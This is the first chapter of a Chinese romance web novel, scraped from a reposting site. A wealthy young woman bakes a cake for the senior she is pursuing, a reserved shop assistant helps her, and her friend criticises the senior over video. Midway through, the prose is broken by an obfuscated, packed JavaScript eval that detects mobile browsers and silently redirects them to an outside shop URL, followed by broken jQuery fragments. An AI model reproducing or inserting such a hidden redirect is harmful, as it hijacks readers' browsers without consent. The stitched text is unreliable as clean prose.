文趣网 > 其他小说 > 做我怀里的小狗 > 1. 第 1 章
    《做我怀里的小狗》

    骑鱼撇波/文

    2026/7/20

    晋江文学城独发

    “桑小姐,我有事要外出一趟,蛋糕制作过程中有什么问题都可以问迟述。”

    说话的是这家私厨蛋糕店的店长庄邻云,一位打扮洋气且有一头蓬松卷发的中年女性。

    为了让桑缈信任,她补充道;“虽然迟述是兼职店员,但他很聪明,学得很好,可以放心让他给你提供帮助。”

    桑缈视线放过去,身旁正专心做客单的年轻店员穿白T黑裤,浅卡其色的围裙和帽子穿戴整齐,一丝不苟,衬得他身高腿长。

    光是看侧面,就觉得这人有点儿高冷话不多。

    桑缈收回目光,点了点头,“好。”

    桑缈来店里之前,庄邻云已经和迟述叮嘱过要招待好这位包年的VIP顾客,为了不流失老客户,保持好店里的服务质量,她出门前还是再三嘱咐迟述,

    “小迟,客单做完后多帮桑小姐打个下手。”

    迟述掀起眼皮,手里捏着裱花袋,刚转圈挤出一个玫瑰的花边,“嗯好。”

    她这才放心出门。

    时间很快过去了一个小时。

    桑缈的奶油还没打发好。

    “奇怪,怎么就失败了呢?”她懊恼地垂头,用自己能听得见的音量嘀咕着。

    眼前装奶油的容器里油水分离,像是一盆渣豆腐汤。

    桑缈百思不得其解,想起庄邻云出门前对她说的话,于是转头想寻求迟述帮助。

    话还没说出口,迟述已率先指出了她打发失败的原因:

    “打发过度导致的油水分离。”

    桑缈漂亮的双眸微微睁大,心想她什么都还没说,他也在切草莓,明明什么也还没看到就已经知道她要问什么了么?

    桑缈忍住心中疑虑,窘迫地看着盆里的失败品,声音很轻很柔,“原来是这样。”

    “那是不是要重新做了?”桑缈猜测性问。

    “嗯。”迟述把对半切的草莓放进盘子里,脱掉手套洗手擦干,走到桑缈身侧,嗓音十分冷静,“我来处理。”

    桑缈的视线从他手臂的青色脉络上挪开,“好,谢谢。”

    如果不是她的手因为握着打发器久了发酸,她肯定不会麻烦别人,必定亲力亲为。

    然而天不遂人愿,这奶油就像是跟她有仇,一直和她对着来,永远不许她成功。

    等她看到迟述轻而易举就将奶油打发好之后,她更加确定——

    专业的事就该交给专业的人去干。

    桑缈站在一旁默默看着迟述操作。

    也趁此机会端详起他的相貌。

    帽子和口罩遮住了他的大半张脸,桑缈只能看见他垂下的乌黑长睫和高挺的鼻梁。

    再细细一看,耳垂往下的脖颈处还有一颗小痣。

    正看得入迷,迟述忽然动作一顿抬眼往桑缈的方向看了一眼,漆黑的眼瞳定定地望向她。

    偷看被人当场抓包,桑缈倏地回神,慌忙移开视线,低头盯着电子秤假装思考。

    迟述不怎么在意,拿起打发器,看着头部粘着部分奶油,纹路硬挺,有小弯钩。

    这是奶油打到9分发的状态,适合用来裱花。

    确认奶油打发成功,迟述淡声开口,“可以装进裱花袋了。”

    桑缈反应了一会儿才迟钝地“哦、哦好。”

    剩下的装饰由桑缈完成,迟述摘掉手套,又去洗了下手擦干,将冰箱里冷藏好的巴斯克慕斯端出来放到操作台上。

    桑缈装奶油时抽空瞥了一眼,发现是她冷冻好的蛋糕胚,弯眼朝迟述笑,“谢谢。”

    正打算大展身手,给蛋糕裱一圈漂亮得花边时,包包里得手机响了。

    桑缈赶时间,但又不想错听电话,便拜托迟述帮她,“可以帮我把包包里得手机拿出来吗?”

    她俯身专注裱花,脖子上戴的银色项链露出来,在胸前坠着晃动着。

    迟述没说话,但帮她拿过来了。

    桑缈看了眼上面的备注,是好友罗茨的视频来电。

    “可以帮我摁下接听吗?”

    迟述摁下接听,把手机放在窗台,靠着玻璃,对着桑缈。

    桑缈喉咙里的那声“谢谢”还没发出来,罗茨的一声惊呼就吓得她一激灵。

    “我靠桑缈!你旁边那帅哥是谁?”

    这大嗓子一出,桑缈觉得是个人都得被她吓得够呛。

    这不,半个身体还装在手机屏幕里的迟述身形一顿,往她的方向看了两眼。

    桑缈尴尬极了,心里有无数个小人在抓狂,奈何这里没有地缝能钻。

    迟述口罩和帽子将他的脸遮这么严实,罗茨这毒辣的眼光还是鉴定出来了。

    “我在蛋糕店呢,人家是这里的店员。”桑缈睫毛颤动,假装镇定。

    罗茨脸怼近屏幕,只露出上半脸,眼睛仇视着,“你去蛋糕店泡帅哥不带我?”

    “桑缈你什么时候变这么不仗义了?我哪次见帅哥没带你一起?”

    桑缈听得面红耳赤,手套上沾了奶油没法去降低手机音量,更不好意思再去麻烦迟述。

    她眼睛不敢看屏幕,也不敢看迟述,真想求罗茨别说了。

    但心里怎么求都没用,罗茨只会说得更起劲,就比如现在落进桑缈耳中这句:“你们发展到哪一步了?亲亲了吗?”

    裱花袋里的奶油瞬间爆出了一大坨,桑缈没掌握好力度,蛋糕的花边歪了,同时,她感受到迟述关注的眼神,客气又疏离的嗓音缓缓响起,“做蛋糕的时候尽量别分心。”

    桑缈手有点抖了,因为蛋糕好像有点“毁容”了。

    慌乱之际,迟述给她提出了解除方法,稳住了她的心态:“换成六齿花嘴做一圈曲奇花边覆盖住歪的地方,隔空出同宽的位置放上蓝莓点缀。”

    “曲奇?我还没学……”桑缈木讷地说着。

    迟述:“我来。”

    桑缈的心定了又定。

    此刻她的要求不高,能顺利且完整的将蛋糕做出来就心满意足了。

    “哇哦,我磕到喽~”罗茨的声音不合时宜地再次出现。

    桑缈无奈至极,摘下手套去洗手,迟述接手她的下一步。

    空闲下来的第一步就是去把罗茨的嘴给堵上。

    眼看着桑缈把手机拿走,视频框里只剩下桑缈一个人的脸,罗茨就知道大事不妙。

    “哎哎哎,不准挂我电话!”罗茨预判桑缈的动作,先发制人。

    桑缈:“我忙着呢,没空陪你玩儿。”

    罗茨:“?有了新人就忘了旧人是吧?终究是三人的感情太过拥挤,行,你不用多说了,我退出,我退出行了吧?”

    桑缈真是拿她没办法,罗茨随地大小演的毛病越来越严重了。

    “你别乱说了。”桑缈走到储物间和她说话,带点撒娇语气,“我真的有事啦!”

    “什么事儿?”罗茨每次一听她撒娇就恢复正常。

    “我在给学长做生日蛋糕。”

    “你怎么还在追那男的?”罗茨诧异,“我以为刚那帅哥是你的新目标。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792371|210437||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    罗茨半年前出国留学,上飞机前千叮咛万嘱咐让桑缈别再执着于倒追蒋逸霄,毕竟她对桑缈这个学长没有丝毫好感,并不值得托付。当时桑缈乖巧答应,合着是哄她玩。

    后来她也没多问,每次聊天桑缈都不会提到他,罗茨不看好蒋逸霄,自然也不会主动挑起这个话题。

    现如今,她真是恨铁不成钢。

    “我都说了他就是个吃白饭的软男,你怎么就看不清呢?”

    认识这么久,还没见过十指不沾阳春水的桑缈进过厨房,现在却为了那个小白脸亲自做蛋糕,他到底哪里值得?

    “就因为那次登山中暑后蒋逸霄把你背下山?你给他砸了那么多钱也该还清了。”

    罗茨想不通,越想越气,“况且你追他快一年了吧?他要真喜欢你早该接受你的心意而不是一直钓着你,你堂堂桑家大小姐,何必要吃这个苦,你老实告诉我是不是有受虐倾向?”

    “世界上比蒋逸霄帅的好的人比比皆是,就刚刚那个店员,戴着口罩我都能看出他是个长相一绝的帅哥。”

    “好了你别说啦,学长他对我很好的,经常送我礼物。我相信他已经被我打动了!”桑缈说这话的时候眼睛都在闪着光,“他还说暑假想和我一起去欧洲环游呢。”

    “他送你的那些破烂玩意也能算礼物?”罗茨真听不下去,“缈缈你清醒点行么?”

    桑缈口中的礼物,罗茨有幸见过。

    奶茶店联名赠送的钥匙扣、买眼镜赠送的保温杯、买手机赠送的耳机包、文创店里几块钱买的冰箱贴……

    反观桑缈送他的:男士香水、球鞋、键盘、游戏柄……

    用不用心一眼就能看出来,也只有桑缈视它们如珍宝。

    罗茨抓破脑袋也想不通桑缈是怎么看上这种男人并对他展开热烈追求的。

    “好啦好啦,我蛋糕还没做好,先挂啦。”

    罗茨再想组织的时候,桑缈那边已经挂断了视频,返回到聊天界面。罗茨气到浑身燥热,头上都快要着火。

    她只祈祷桑缈过了今晚能认清蒋逸霄的真面目,远离软饭男。

    结束视频后,桑缈看了眼时间,下午六点十九分。

    她今天和蒋逸霄发过消息,说自己大概晚上八点到,实际上她七点就会到,想提前出现给他一个惊喜。

    回到操作台,桑缈随手把手机放在一旁,转身去水池洗手,戴上新手套。

    迟述去了外面,在前台给客人下单。

    视线回落,他已经帮忙把洗好了一小碟蓝莓,整颗的草莓和对半切的也整齐摆放在一边。

    现在,她只需要把水果装饰上去。

    后厨此刻只剩下桑缈一人,空间安静,她心里也静悄悄的。这时脑海中忽然浮现迟述说的“做蛋糕要专心”。

    抛却一切杂念,桑缈呼出一口气,开始动手装饰。

    每一颗果子她都小心翼翼地摆放,一颗一颗对得齐整,中间放两颗又大又红的草莓,外圈再平放对半切的。

    桑缈直起腰,整体观赏了遍,满意地点点头,自顾自地夸耀:“我可真厉害。”

    说完她看向外边收银台的方向,迟述正有条不紊地接待客户,下完单后又麻利地弯腰去甜品展示柜里拿甜品出来打包。

    桑缈心里也夸了夸他:他也厉害。

    没有迟述帮她善后,今天的蛋糕估计会是一个拿不出手的瑕疵品。

    桑缈弯腰盯着操作台上成型的蛋糕,眼睛眨了又眨,闪着细碎的光,心中雀跃。

    她已经迫不及待想要看到蒋逸霄打开后惊喜的样子了。